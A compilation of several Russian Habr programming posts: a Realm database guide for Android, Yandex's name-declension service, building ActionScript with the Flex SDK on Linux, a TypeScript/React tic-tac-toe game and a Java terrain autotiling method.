it.insertOrUpdate(dataObject)
}
}
}
```
Также можно выполнять транзакции между beginTransaction и commitTransaction, однако рекомендуется использовать именно executeTransaction.
К сожалению, синхронные транзакции не поддерживают onError callback, так что обработка ошибок остается на вашей совести. [Есть issue](https://github.com/realm/realm-java/issues/3048) на добавление onError callback c июня 2016 года.
#### Асинхронные транзакции
Асинхронные транзакции запускаются методом asyncTransaction. На вход отдаем саму transaction и callback onSuccess и onError, на выходе получаем объект RealmAsyncTask, с помощью которого мы можем проверить статус или отменить транзакцию. Асинхронные транзакции запускаются только в тредах с Looper. Пример асинхронной транзакции:
```
Realm.getDefaultInstance().use {
it.executeTransactionAsync({
it.insertOrUpdate(DataObject(0))
}, {
log("OnSuccess")
}, {
log("onError")
it.printStackTrace()
})
}
```
Пара важных нюансов:
Вы не сможете присвоить через сеттер объект, не привязанный к Realm. Необходимо сначала положить объект в базу, а потом прикрепить привязанную копию. Пример:
```
val realm = Realm.getDefaultInstance()
val parent = realm.where(Parent::class.java).findFirst()
val children = Children()
// parent.setChildren(children) <-- Error
val childrenRealm = realm.copyToRealmOrUpdate(children)
parent.setChildren(childrenRealm) /// Ok
```
Много транзакций лучше объединять в одну. В Realm есть внутренняя очередь на транзакции (размером 100) и если вы превысите ее, упадет исключение.
Все асинхронные транзакции работают на одном executor’e
```
// Thread pool for all async operations (Query & transaction)
static final RealmThreadPoolExecutor asyncTaskExecutor = RealmThreadPoolExecutor.newDefaultExecutor();
```
Если у вас будет много асинхронных операций за короткое время, получите ошибку RejectedExecutionException. Выходом из данной ситуации будет использование отдельного потока и запуск в нем синхронных транзакций или объединение нескольких транзакций в одну.
### Open / close realm
Все объекты из базы данных мы получаем, используя конкретный instance Realm-a, и можем работать с ними пока открыт этот instance. Как только мы вызовем realm.close(), любая попытка чтения объекта обернется для нас исключением. Если мы не будем вовремя закрывать Realm, то это приведет к утечкам памяти, т.к. сборщик мусора не умеет корректно работать с ресурсами, используемыми Realm.
В [официальной документации](https://realm.io/docs/java/latest/#controlling-the-lifecycle-of-realm-instances) рекомендуется открывать / закрывать Realm:
* для Activity: onCreate / onDestroy
* для Fragment: onCreateView / onDestroyView
Однако если вы хотите вынести логику работы с Realm из Activity\Fragments в презентеры, вам придется использовать (прокидывать) методы жизненного цикла.
В случае если вам нужно как-то изменить данные или добавить новые, проще всего получить новый instance, записать данные и затем закрыть его. В Kotlin для этого можно использовать .use()
```
Realm.getDefaultInstance().use { // it = realm instance}
```
Для чтение объектов с помощью Rx можно использовать “изолированные” instance и закрывать их в doOnUnsubscribe (или использовать Observable.using)
```
// Use doOnUnsubscribe
val realm = Realm.getDefaultInstance()
realm.where(DataObject::class.java).findAllSorted("id").asObservable().doOnUnsubscribe { realm.close() }
// Use Observable.using
Observable.using(Realm.getDefaultInstance(), realm -> realm.where(DataObject::class.java).equalTo("id", id)
.findFirstAsync()
.asObservable()
.filter(realmObject -> realmObject.isLoaded())
.cast(DataObject::class.java), Realm::close);
```
Также есть особенность, связанная с закрытием Realm в onDestroy\onDestroyView. Иногда после закрытия Realm происходит вызов FragmentManagerImpl.moveToState → ViewGroup.removeView →… → RecyclerViewAdapter.getItemCount() и вызывается метод list.size() от невалидной коллекции. Так что тут нужно проверять isValid() или отвязывать adapter от recyclerView
Если вы используете [Kotlin Android Extensions](https://kotlinlang.org/docs/tutorials/android-plugin.html), то работать с view (из kotlinx.android.synthetic.\*) из Fragment можно только начиная с метода onViewCreated(), лучше настраивать все listeners в этом методе, чтобы не получить NPE.
После разбора трех самых важных особенностей, пробежимся по менее важным:
### Notifications, RxJava
Realm поддерживает уведомления об изменении данных, причем как самого объекта, так и вложенных объектов (всех залинкованных объектов). Реализовано это с помощью RealmChangeListener (нам приходит сам объект), RealmObjectChangeListener ( приходит измененный объект и ObjectChangeSet для него, можно понять какие поля изменились) или с помощью RxJava (в onNext получаем объект, в случае асинхронного запроса необходимо проверять isLoaded(), работает только в потоках с Looper).
RxJava2 пока не завезли, [issue висит с сентября 2016 года](https://github.com/realm/realm-java/issues/3497), когда реализуют — неизвестно, используйте [Interop](https://github.com/akarnokd/RxJava2Interop).
Аналогично можно слушать изменения коллекций или всего instance Realm. Слушать изменения внутри транзакций запрещено.
Пример Rx:
```
fun getObjectObservable(realm: Realm, id: Long): Observable {
return realm.where(DataObject::class.java).equalTo("id", id).findFirstAsync()
.asObservable().filter({ it?.isLoaded }).filter { it?.isValid }
}
```
### Многопоточность и асинхронность
Realm это MVCC база данных. [Википедия говорит про MVCC](https://ru.wikipedia.org/wiki/MVCC):
> “Управление параллельным доступом с помощью многоверсионности (англ. MVCC — MultiVersion Concurrency Control) — один из механизмов обеспечения параллельного доступа к БД, заключающийся в предоставлении каждому пользователю так называемого «снимка» БД, обладающего тем свойством, что вносимые пользователем изменения в БД невидимы другим пользователям до момента фиксации транзакции. Этот способ управления позволяет добиться того, что пишущие транзакции не блокируют читающих, и читающие транзакции не блокируют пишущих.”
На практике это выглядит следующим образом: мы можем слушать изменения объекта или с помощью RxJava получать измененные объекты в onNext. В случае, если изменения происходят в потоке А, а мы работаем с объектом в потоке B, то поток B узнает об изменениях после закрытия Realm instance в потоке A. Изменения передаются посредством Looper. Если в потоке B Looper-a нет, то изменения не дойдут (можно проверить методом isAutoRefresh()). Выход из данной ситуации — использовать метод waitForChange().
Что касается асинхронных вызовов и транзакций, то их лучше не использовать вовсе. Удобнее переводить действия на отдельный поток и там выполнять синхронные операции. [Причин несколько](https://medium.com/@ffvanderlaan/realm-auto-updated-objects-what-you-need-to-know-b2d769d12d76):
* Нельзя смешивать асинхронные транзакции и синхронные, если смешать, все транзакции станут синхронными
* Нельзя использовать асинхронные вызовы в потоках без Looper
* Для длительных транзакций нужно открыть отдельный instance realm, иначе realm может быть закрыт во время транзакции и вы получите исключение
* Все действия в асинхронной транзакции происходят на отдельном внутреннем executor-е, как следствие вы не можете пользоваться внешними realm объектами, возможно переполнение executor-а, изменения realm object не распространяются между потоками и прочие неудобства
### Тестирование
Раньше Realm.java — был final и для тестирования нужен был powerMock или другие подобные инструменты. В данный момент Realm.java перестал быть final и можно спокойно использовать обычный mockito. Примеры тестов в [демо проекте](https://github.com/andrey7mel/realm_example) или на [официальном репозитории](https://github.com/realm/realm-java/tree/master/examples/unitTestExample)
### Один Realm хорошо, а три лучше
Работая с Realm мы всегда имеем ввиду стандартный realm, однако существуют еще In-Memory Realm и Dynamic Realm.
Стандартный Realm — можно получить методами Realm.getDefaultInstance() или с помощью конкретной конфигурации Realm.getInstance(config), конфигураций может быть неограниченное количество, это по сути отдельные базы данных.
In-Memory Realm — это Realm, который все записанные данные хранит в памяти, не записывая их на диск. Как только мы закроем этот instance, все данные пропадут. Подходит для кратковременного хранения данных.
Dynamic Realm — используется в основном при миграции, позволяет работать с realm — объектами без использования сгенерированных классов RealmObject, доступ осуществляется по именам полей.
### Наследование и полиморфизм
Realm не поддерживает наследование. Любой realm-объект должен или наследоваться от RealmObject или реализовывать интерфейс маркер RealmModel и быть помеченным аннотацией @RealmClass. Наследоваться от существующих Realm объектов нельзя. Рекомендуется использовать композицию вместо наследования. Весьма серьезная проблема, [issue висит с января 2015 года](https://github.com/realm/realm-java/issues/761), но воз и ныне там.
### Kotlin
Realm из коробки [работает c Kotlin](https://realm.io/docs/java/latest/#kotlin).
Не работают data class-ы, нужно использовать обычные open class.
Также стоит отметить [Kotlin-Realm-Extensions](https://github.com/vicpinm/Kotlin-Realm-Extensions), удобные расширения для работы с RealmObject.
### Realm mobile platform
Первое время Realm был представлен только базами данных для разных платформ, сейчас они выкатили сервер для синхронизации между всеми устройствами. Теперь платформа состоит из:
* Realm Mobile Database – база для хранения данных
* Realm Object Server – сервер, отвечающий за автоматическую синхронизацию и обработку событий
* Realm Data Integration API – для подключения и синхронизации данных с существующими БД (Oracle, MongoDB, Hadoop, SAP HANA, Postgres и Redis)
**Иллюстрация работы mobile platform**
### Отладка
Для отладки у нас есть несколько инструментов:
* [RealmLog](https://realm.io/docs/java/latest/api/io/realm/log/RealmLog.html) — выводит лог, есть разные уровни логирования
* [Realm браузер](https://github.com/realm/realm-browser-osx) — нужен просмотра базы данных с компьютера. Работает только под Mac. Для просмотра базы на Windows можно использовать [Stetho Realm](https://github.com/uPhyca/stetho-realm)
Также существуют несколько Android библиотек для удобного [просмотра данных на девайсе](https://github.com/jonasrottmann/realm-browser).
* [WriteCopyTo()](https://realm.io/docs/java/latest/api/io/realm/Realm.html#writeCopyTo-java.io.File-) — позволяет скопировать базу в файл и отправить ее на анализ.
* [NDK Debugging](https://realm.io/docs/java/latest/#ndk-debugging) — для анализа ошибок в нативном коде можно использовать Crashlytics NDK Crash Reporting
### Архитектура
Realm отлично подходит для MV\* архитектур, когда вся реализация прячется за интерфейсом базы данных. Все обращения и выборки происходят в модуле базы данных (repository), наверх отдаются Observable c автоматически закрываемым realm при unsubscribe. Или принимаем на вход instance realm и производим все действия с ним. При записи объектов мы открываем realm, записываем данные и закрываем его, на вход подается только объект для сохранения. Оба примера смотрите на [github](https://github.com/andrey7mel/realm_example).
Увы, использование Realm (без copyFromRealm) накладывает серьезные ограничения на использование [clean architecture](https://github.com/android10/Android-CleanArchitecture). Использовать разные модели данных для разных слоев не получится, пропадает весь смысл live объектов и прокси списков. Также сложности возникнут при создании независимых слоев и открытии\закрытии Realm, тк эта операция привязана к жизненному циклу Activity\Fragment. Хорошим вариантом будет изолированный слой получения данных, преобразование объектов и сохранение их в базе данных.
Realm очень удобен при построении offline-first приложений, когда все данные для отображения мы получаем из базы данных.
### Полезные ссылки
Для продолжения знакомства и разбора тонких моментов, рекомендуем следующие статьи:
Три статьи статьи от [@Zhuinden](https://medium.com/@Zhuinden/):
[Basics of Realm: A guide to using Realm 1.2.0](https://medium.com/@Zhuinden/basics-of-realm-a-guide-to-using-realm-1-2-0-634471c0fe8f)
[How to use Realm for Android like a champ, and how to tell if you’re doing it wrong](https://medium.com/@Zhuinden/how-to-use-realm-for-android-like-a-champ-and-how-to-tell-if-youre-doing-it-wrong-ac4f66b7f149)
[Realm 1.2.0 + Android Data Binding](https://medium.com/@Zhuinden/realm-1-2-0-android-data-binding-1dc06822287f)
Две статьи про интеграцию Realm от [@Viraj.Tank](https://medium.com/@Viraj.Tank/)
[Safe-Integration of Realm in Android production code, Part-1 with MVP](https://medium.com/@Viraj.Tank/realm-integration-in-android-best-practices-449919d25f2f)[Deep integration of Realm in Android production code, Part-2, with MVP](https://medium.com/@Viraj.Tank/deep-integration-of-realm-in-android-production-code-part-2-with-mvp-4cf44ab6289d)
Многопоточность, подробный разбор:
[Designing a Database: Realm Threading Deep Dive](https://realm.io/news/threading-deep-dive/)[Docs — Auto-Refresh](https://realm.io/docs/java/latest/#auto-refresh)
[Docs — Threading](https://realm.io/docs/java/latest/#threading)
Недавняя статья на хабре от FairBear:
[Как подружиться с Realm](https://habrahabr.ru/company/fairbear/blog/326152/)
### Заключение
Realm сложнее, чем кажется на первый взгляд. Однако все недостатки с лихвой покрываются его мощностью и удобством. Live объекты, нотфикации и Rx, удобное API и множество других вещей упрощают создание приложений. Из конкурентов можно выделить requery, ObjectBox и GreenDao. Полностью же Realm раскрывает себя при построении offline-first приложений, когда все данные мы получаем из кэша и нам необходимы сложные выборки, а также постоянное обновление данных.
Весь приведенный код вы можете [найти на Github](https://github.com/andrey7mel/realm_example) | https://habr.com/ru/post/328418/ | null | ru | null |
# Яндекс.Склонятор
Яндекс [выпустил](http://nano.yandex.ru/post/27/) XML-склонятор русских имен. Сервис по адресу `export.yandex.ru/inflect.xml?name=Вася%20Пупкин` берет имя и выдает его склонения в такой форме:
`1. xml version="1.0" encoding="utf-8"?
2.
3. Вася Пупкин
4. Вася Пупкин
5. Васи Пупкина
6. Васе Пупкину
7. Васю Пупкина
8. Васей Пупкиным
9. Васе Пупкине
10.`Пользуйтесь на здоровье :)
Склонятор стал 17-м мини-проектом сборника [Яндекс.Нано](http://nano.yandex.ru/projects/).
P. S. [Обнаружил на Хабре](http://skylander.habrahabr.ru/) единственную [девушку-участницу](http://yuliya-hudyakova.moikrug.ru/) разработки [проекта](http://nano.yandex.ru/project/inflect/) :) | https://habr.com/ru/post/39327/ | null | ru | null |
# Собираем Actionscript/Flex приложение в Linux
Зададимся задачей собрать HelloWorld.as с помощью Flex SDK, не используя мышь. Зачем? Хотя бы для того, чтобы в голову юзера, листающего поисковую выдачу хабры по запросу «Flex», не закралась мысль о том, что эта технология равна необходимости установить Eclipse.
По катом решение этой задачи, а также обход некоторых возможных подводных камней.
#### Flex-ов много, что выбрать?
На момент написания этой статьи [страница загрузки](http://opensource.adobe.com/wiki/display/flexsdk/Downloads) Flex SDK содержит сразу несколько версий этого продукта. Более того, самая свежая версия (которая нам больше всего интересна) разделяется на два выпуска — «Free Flex SDK» и «Open Source Flex SDK». Первый из них — это наиболее полный вариант, содержащий всё необходимое для сборки любых Flex-приложений. Второй вариант для тех, кто не желает иметь на своей машине никаких (пусть и бесплатных) компонентов с закрытым исходным кодом. Собственно, Open source Flex SDK — это Free Flex SDK минус закрытые компоненты, среди которых Flash player, AIR, технологии для продвинутого кодирования шрифтов и код, позволяющий пользоваться в коммерческих целях такими вещами, как компоненты визуализации данных (Data Visualization components).
Стоит скачать Free Flex SDK, а на досуге разобраться с правовыми вопросами. Они освещаются [здесь (en)](http://opensource.adobe.com/wiki/display/flexsdk/Legal+Stuff).
#### Куда девать все это добро?
В вашей директории для различных экспериментов с кодом и технологиями создайте директорию flex. В ней создайте еще одну директорию с номером версии Flex SDK. Распакуйте в нее содержимое архива с SDK. В моем случае это выглядело так:
mkdir -p ~/dev/flash/flex
cd ~/dev/flash/flex
wget -c [fpdownload.adobe.com/pub/flex/sdk/builds/flex4/flex\_sdk\_4.1.0.16076.zip](http://fpdownload.adobe.com/pub/flex/sdk/builds/flex4/flex_sdk_4.1.0.16076.zip)
unzip -d 4.1 flex\_sdk\_4.1.0.16076.zip
Для простоты будущего переключения между версиями SDK в этой же директории создайте символьную ссылку на текущую версию.
ln -s 4.1 current
Добавьте к глобальной переменной PATH путь к директории bin во Flex SDK
echo «PATH=\${PATH}:~/flash/flex/current/bin» >> ~/.bashrc
Перезагрузите консоль (exit+login или закройте и снова откройте эмулятор терминала)
#### А Hello world как собрать?
Если, с поправками на правила вашего дистрибутива, все прошло нормально, то в командной строке стал доступен компилятор исходных кодов Flex — mxmlc. Можно его запустить и он выдаст что-то вроде:
`Adobe Flex Compiler (mxmlc)
Version 4.1.0 build 16076
Copyright (c) 2004-2009 Adobe Systems, Inc. All rights reserved.
Ошибка: Необходимо указать целевой файл`
Осталось написать нужный код и собрать его:
Код помещаем в файл HelloWorld.as
`//Код стартовой точки приложения должен быть в неименованом пакете
package {
//импортируем пакет содержащий класс MovieClip, от которого должен наследываться главный класс приложения
import flash.display.*;
//главный класс приложения должен находится в файле, имя которого без расширения совпадает с именем класса
public class HelloWorld extends MovieClip{
function HelloWorld(){
//вывод отладочного сообщения
trace("Hello World!");
}
}
}`
Собираем:
mxmlc -optimize=false -omit-trace-statements=false HelloWorld.as
Почему все именно так можно почитать, например, в замечательной [книге Колина Мука](http://www.ozon.ru/context/detail/id/4121608/)
#### И где можно увидеть отладочное сообщение?
Увы, с этим не все так просто. Во-первых отладочные сообщения может выводить только отладочная версия flash-плеера.
Её можно найти в директории runtimes/player/10.1/lnx/flashplayerdebugger.tar.gz
Кроме того, сообщения будут выводиться только в файл ~/.macromedia/Flash\_Player/Logs/flashlog.txt и только в том случае если в вашей домашней директории имеется файл mm.cfg со следующим содержанием:
`ErrorReportingEnable=1
TraceOutputFileEnable=1`
#### И что же из этого следует?
А следует ровно то, что у нас имеется основа для экспериментов с языком программирования ActionScript и если это вас заинтересовало, то дайте знать и мы попробуем сделать что-нибудь посложнее, например разрушить стену из кубиков с помощью физического движка Box2D или собрать кроссплатформенное AIR-приложение с окном произвольной формы.
P.S. В процессе написания статьи я ухитрился случайно опубликовать ее в зачаточном состоянии. Приношу свои извинения. | https://habr.com/ru/post/106791/ | null | ru | null |
# Создание игры «Крестики-нолики» при помощи TypeScript, React и Mocha
Представляем вам перевод статьи Josh Kuttler, опубликованной на blog.bitsrc.io. Узнайте, как создать приложение «Крестики-нолики», используя React и TypeScript.
Простая игра в крестики-нолики создана по модульному принципу и [загружена на сайт Bit](https://bit.dev/joshk/tic-tac-toe-game). Вы можете изменять компоненты моей игры и тестировать ее онлайн на Bit PlayGround при помощи NPM, Yarn или Bit. Для этого [перейдите к моей коллекции компонентов](https://bit.dev/joshk/tic-tac-toe-game).
Когда создаешь игры типа «Крестики-нолики» по модульному принципу, трудно найти причину, по которой компоненты UI могут снова когда-либо использоваться. Поэтому я сосредоточился в основном на игровых утилитах.
Для программирования я выбрал язык TypeScript — скомпилировал код при помощи [TypeScript на сайте Bit](https://bit.dev/bit/envs/compilers/react-typescript). Затем воспользовался фреймворком Mocha для тестирования.
Чтобы установить компоненты из моего проекта, сначала настройте [bit.dev](https://bit.dev/) в качестве реестра области (скопируйте и вставьте на своем устройстве). Это следует сделать только один раз! При дальнейшем использовании сайта Bit проводить повторную настройку не понадобится.
```
npm config set '@bit:registry' https://node.bit.dev
```
Затем установите компонент при помощи менеджеров пакетов Yarn или NPM:
```
npm i @bit/joshk.tic-tac-toe-game.game
yarn add @bit/joshk.tic-tac-toe-game.game
```
### Компонент «игра»
Компонент «игра» является основным компонентом моего приложения — он создан при помощи одного компонента Board и двух компонентов [Prime React](https://bit.dev/primefaces/primereact).
Я использовал компоненты [Button](https://bit.dev/primefaces/primereact/button) и [Input-text](https://bit.dev/primefaces/primereact/inputtext) для экрана настройки — протестировать и посмотреть их код можно [здесь](https://bit.dev/joshk/tic-tac-toe-game/game/~code#Game/Game.tsx).
Установите компоненты PrimeReact в свой проект:
```
yarn add @bit/primefaces.primereact.inputtext
yarn add @bit/primefaces.primereact.button
```
После настройки параметров можно кликнуть на «Играть» и… играть!
### Компонент Board
Компонент [Board](https://bit.dev/joshk/tic-tac-toe-game/board) создает динамическую таблицу при помощи Props, устанавливает очередь для игроков и определяет победителя. Протестировать и посмотреть код можно [здесь](https://bit.dev/joshk/tic-tac-toe-game/board/~code#Board/Board.tsx).
### Компонент Square
Компонент Square — это обычная ячейка, которая получает значение с опциональным цветом и отправляет ивент компоненту Board при изменении значения. Протестировать и посмотреть код можно [здесь](https://bit.dev/joshk/tic-tac-toe-game/square/~code#Square.tsx).
### Функция Empty cell
Функция Empty cell — это вспомогательная функция для функции Winner-calc, которая проверяет, есть ли пустые ячейки в таблице игры.
Bit позволяет увидеть документы компонента и результаты тестов:
**Код функции**
```
/**
* @description
* check if 2d array have an empty cell
* @param {{Array.}} matrix 2d array
\* @param {number} rowsNum number of rows
\* @param {number} colsNum number of columns
\* @returns {boolean} return true if empty cell was found, and false if not.
\* @example
\* import haveEmptyCell from '@bit/joshk.tic-tac-toe-game.utils.have-empty-cell';
\*
\* const matrix = [
\* ['X', 'O', 'X'],
\* ['O', 'X', 'O'],
\* ['O', 'X', 'O']
\* ];
\* const result = haveEmptyCell(matrix, 3, 3);
\*
\* export default result
\* @example
\* import haveEmptyCell from '@bit/joshk.tic-tac-toe-game.utils.have-empty-cell';
\*
\* const matrix = [
\* ['X', 'O', 'X'],
\* ['O', '', 'O'],
\* ['O', 'X', 'O']
\* ];
\* const result = haveEmptyCell(matrix, 3, 3);
\*
\* export default result
\* @example
\* import haveEmptyCell from '@bit/joshk.tic-tac-toe-game.utils.have-empty-cell';
\*
\* const matrix = [
\* ['X', 'O', 'X'],
\* ['O', , 'O'],
\* ['O', 'X', 'O']
\* ];
\* const result = haveEmptyCell(matrix, 3, 3);
\*
\* export default result
\* @example
\* import haveEmptyCell from '@bit/joshk.tic-tac-toe-game.utils.have-empty-cell';
\*
\* const matrix = [
\* ['X', 'O', 'X'],
\* ['O', null, 'O'],
\* ['O', 'X', 'O']
\* ];
\* const result = haveEmptyCell(matrix, 3, 3);
\*
\* export default result
\*/
function haveEmptyCell(matrix: Array>, rowsNum: number, colsNum: number): boolean {
let empty: boolean = false;
for (let x = 0; x < rowsNum; x++) {
for (let y = 0; y < colsNum; y++) {
const element: any = matrix[x][y];
if (!element) {
empty = true;
break;
}
}
if (empty)
break;
}
return empty;
}
export default haveEmptyCell
```
### Функция Winner calculation
[Winner calculation](https://bit.dev/joshk/tic-tac-toe-game/utils/winner-calc) — это функция, которая вычисляет победителя по горизонтальной, вертикальной и диагональной плоскостям.
Bit позволяет увидеть документы компонента и результаты тестов:
**Код функции**
```
/**
* @description
* check winner horizontal, vertical and diagonal
* @param {Array.} matrix 2d array with X and O
\* @param {number} rowsNum number of rows
\* @param {number} colsNum number of columns
\* @param {number} numToWin the number of matching to win
\* @param {number} lastRow the row number of the square player click
\* @param {number} lastCol the column number of the square player click
\* @returns {string} return the winner, X or O or '' if no one win.
\* @example
\* import winnerCalc from '@bit/joshk.tic-tac-toe-game.utils.winner-calc';
\*
\* const matrix = [
\* ['O', 'O', 'X'],
\* ['O', 'X', ''],
\* ['X', '', '']
\* ];
\* const result = winnerCalc(matrix, 3, 3, 3, 0, 2);
\*
\* export default result
\*/
import haveEmptyCell from '../HaveEmptyCell'
function winnerCalc(matrix: Array>, rowsNum: number, colsNum: number, numToWin: number, lastRow: number, lastCol: number): string {
let winner: string = '';
let match: number = 0;
const lastValue: string = matrix[lastRow][lastCol];
//check Horizontal
for (let c = 0; c < colsNum; c++) {
let currentValue = matrix[lastRow][c];
if (currentValue === lastValue)
match++;
else match = 0;
if (match === numToWin) {
winner = lastValue;
break;
}
}
if (winner !== '')
return winner;
match = 0;
//check Vertical
for (let r = 0; r < rowsNum; r++) {
let currentValue = matrix[r][lastCol];
if (currentValue === lastValue)
match++;
else match = 0;
if (match === numToWin) {
winner = lastValue;
break;
}
}
if (winner !== '')
return winner;
//check diagonal top-left to bottom-right - include middle
match = 0;
for (let r = 0; r <= rowsNum - numToWin; r++)
{
let rowPosition = r;
for (let column = 0; column < colsNum && rowPosition < rowsNum; column++)
{
const currentValue = matrix[rowPosition][column];
if (currentValue === lastValue)
match++;
else match = 0;
if (match === numToWin)
{
winner = lastValue;
break;
}
rowPosition++;
}
if (winner !== '') break;
}
if (winner !== '')
return winner;
//check diagonal top-left to bottom-right - after middle
match = 0;
for (let c = 1; c <= colsNum - numToWin; c++)
{
let columnPosition = c;
for (let row = 0; row < rowsNum && columnPosition < colsNum; row++)
{
let currentValue = matrix[row][columnPosition];
if (currentValue === lastValue)
match++;
else match = 0;
if (match === numToWin)
{
winner = lastValue;
break;
}
columnPosition++;
}
if (winner !== '') break;
}
if (winner !== '')
return winner;
//check diagonal bottom-left to top-right - include middle
match = 0;
for (let r = rowsNum - 1; r >= rowsNum - numToWin - 1; r--)
{
let rowPosition = r;
for (let column = 0; column < colsNum && rowPosition < rowsNum && rowPosition >= 0; column++)
{
let currentValue = matrix[rowPosition][column];
if (currentValue === lastValue)
match++;
else match = 0;
if (match === numToWin)
{
winner = lastValue;
break;
}
rowPosition--;
}
if (winner !== '') break;
}
if (winner !== '')
return winner;
//check diagonal bottom-left to top-right - after middle
match = 0;
for (let c = 1; c < colsNum; c++)
{
let columnPosition = c;
for (let row = rowsNum - 1; row < rowsNum && row >= 0 && columnPosition < colsNum && columnPosition >= 1; row--)
{
console.log(`[${row}][${columnPosition}]`);
let currentValue = matrix[row][columnPosition];
if (currentValue === lastValue)
match++;
else match = 0;
if (match === numToWin)
{
winner = lastValue;
break;
}
columnPosition++;
}
if (winner !== '') break;
}
if (winner !== '')
return winner;
if(haveEmptyCell(matrix, rowsNum, colsNum) === false) {
winner = '-1';
}
return winner;
}
export default winnerCalc
```
Проект доступен в моей коллекции [на Bit](https://bit.dev/joshk/tic-tac-toe-game) и в моём [репозитории GitHub](https://github.com/JoshK2/tic-tac-toe-game-using-bit).
Не стесняйтесь [комментировать эту статью](https://blog.bitsrc.io/build-a-tic-tac-toe-game-with-typescript-react-and-mocha-ce6f1e74c996) и подписывайтесь на мой [Twitter](https://twitter.com/JoshKuttler). | https://habr.com/ru/post/456000/ | null | ru | null |
# Autotiling: автоматические переходы тайлов
Буквально только что наткнулся на статью из песочницы о grid-tiling'е и решил написать свой аналог.
Мой метод распределения переходов несколько отличается от упомянутой в той статье.
Начало данной системы положено в небезызвестной игре **WarCraft III**.
На этом скриншоте редактора карт WC3 можно заметить швы, они обозначены красными стрелками. Судя по всему, логика тайлов в этой игре несколько иная, нежели в большинстве игр. Один тайл здесь **не занимает целой клетки**. Он находится как бы в точке, вокруг которой уже рисуются его углы.
Особенно хорошо это наблюдается со включенной сеткой.
Обычно в такой ситуации предлагается разделить тайл на 4 маленьких. Но есть одно но: что делать в подобном случае?
Когда все 4 окружающие один квад тайлы разные? Здесь явно видно, что большую часть занимает самый нижний тайл.
Взвесив все за и против, я пришел к своей, достаточно специфичной, системе. Добавим новую сетку, сетку переходов. В ней мы можем хранить, к примеру, тип int. В таком случае у нас будет возможно записать для каждого квада тайлов 16 ID окружающих 4 тайлов с 16 вариантами перехода. Этого более чем достаточно. Нет, если кому-то нужно больше ID — пожалуйста, используйте long. Я решил, что мне хватит по 16 автотайлов на игровую локацию, остальные будут без авто-переходов.
Далее, нам нужен сет тайлов. Можно, конечно, использовать маску, но с сетом тайлов, согласитесь, при хорошем навыке (не у меня, нет), можно добиться очень и очень неплохой картинки.
Себе я сделал вот такой тестовый набор тайлов. На один тайл приходится 12 вариантов перехода, можно добавить ещё свои 4. Ещё я зарезервировал слоты для будущей вариации тайлов, как в WC3, но эта часть довольно лёгкая и описывать здесь я её не буду.
Переходим к части программирования. Для начала, опишем функции, которые будут определять нужную битовую маску для выбора корректного индекса текстуры. Сразу оговорюсь, я свойственен выбирать довольно нестандартные решения. Тут будет использоваться Java + LWJGL.
Эта функция будет создавать маску битов для данного квада. Бит 1 означает, что в данном углу тайла есть смежный ему тайл (таким образом, можно комбинировать разные тайлсеты одной высоты). Ах, да. Высота, про неё-то я и забыл. Конечно, нам надо будет определять для каждого тайла его высоту, чтобы знать что рисовать поверх, а что внизу. Это решается просто добавлением очевидной переменной.
```
public int getTransitionCornerFor(World world, int x, int y, int height) {
int corner = 0;
if (world.getTile(x-1, y).zOrder == height)
corner |= 0b0001;
if (world.getTile(x, y).zOrder == height)
corner |= 0b0010;
if (world.getTile(x, y-1).zOrder == height)
corner |= 0b0100;
if (world.getTile(x-1, y-1).zOrder == height)
corner |= 0b1000;
return corner;
}
```
Каждый бит означает свой угол. 1 бит — левый верхний угол, 2 — нижний левый, 3 — нижний правый, ну и 4 — верхний правый.
Теперь, касаемо, самого метода определения нужных индексов текстуры для переходов. Метод у меня получился громоздкий и некрасивый, ну, всё в силу моих навыков. Хотя специально для статьи я разбил его на несколько методов, дабы не создавать огромное количество отступов.
```
public void updateTransitionMap(World world, int x, int y) {
int w = 16, h = 16;
int[] temp = new int[4]; //создаем массив, который будет хранить нам 4 угла с 4 битами под ID и 4 битами под переход (т.е. 32 бита в целом для всего тайла)
for (int i = 0; i < 4; i++) //на самом деле мне просто было лень нормально разбираться с побитовыми операциями
temp[i] = 0;
if (tileID > 0) {
for (int i = 1; i <= tilesNum; i++) {
int corner = getTransitionCornerFor(world, x, y, i);
int c = 0;
if (corner > 0) {
c = setPointTransition(world, temp, x, y, corner, c, i); //сначала задаем маску для всех углов
if (c == 3)
c = setCornerTransition(world, temp, x, y, corner, c, i); //потом, если есть 3 смежных(!) угла, соединяем их в один большой
if (c == 2)
c = setEdgeTransition(world, temp, x, y, corner, c, i); //если есть 2 смежных(!) угла, соединяем их в сторону
}
}
}
}
```
А вот и сами методы:
```
public int setPointTransition(World world, int[] temp, int x, int y, int corner, int c, int i) {
for (int k = 0; k < 4; k++)
if ((corner >> k & 1) == 1) {
int idx = 8+k;
int storage = 0;
storage = (idx & 0xF) << 4 | (i & 0xF);
temp[k] = storage;
int t = 0;
for (int l = 0; l < 4; l++) {
t = (t << 8) | temp[l] & 0xFF;
}
world.setTransition(x, y, t);
c++;
}
return c;
}
```
Здесь всё просто. Пробегаемся по каждому углу, проверяем бит. Если он один — ставим индекс 8 + **k**, т.е. угол (выше я описывал номер для каждой стороны (NE, SE, SW, SE)). Далее костыльным методом через цикл обновляем нашу карту переходов.
Не забываем в конце отдавать обновленное число с. Спасибо **Java**, что в ней нету ни **out**, ни передачи простейших типов по ссылке.
Методы, соединяющие точки в углы и стороны:
```
public int setEdgeTransition(World world, int[] temp, int x, int y, int corner, int c, int i) {
for (int offset = 0; offset < 4; offset++) {
boolean isSide = true;
for (int k = 0; k < 2; k++) { //количество точек у стороны
if ((corner >> ((k + offset) % 4) & 1) != 1)
isSide = false;
else if (k == 1 && isSide) {
int idx = (offset+1)%4;
int storage = 0;
storage = (idx & 0xF) << 4 | (i & 0xF);
temp[offset] = storage;
int t = 0;
for (int l = 0; l < 4; l++) {
t = (t << 8) | temp[l] & 0xFF;
}
world.setTransition(x, y, t);
}
}
}
return c;
}
public int setCornerTransition(World world, int[] temp, int x, int y, int corner, int c, int i) {
for (int offset = 0; offset < 4; offset++) {
boolean isCorner = true;
for (int k = 0; k < 3; k++) { //количество точек у угла
if ((corner >> ((k + offset) % 4) & 1) != 1)
isCorner = false;
else if (k == 2 && isCorner) {
int idx = 4+offset;
int storage = 0;
storage = (idx & 0xF) << 4 | (i & 0xF);
temp[offset] = storage;
int t = 0;
for (int l = 0; l < 4; l++) {
t = (t << 8) | temp[l] & 0xFF;
}
world.setTransition(x, y, t);
}
}
}
return c;
}
```
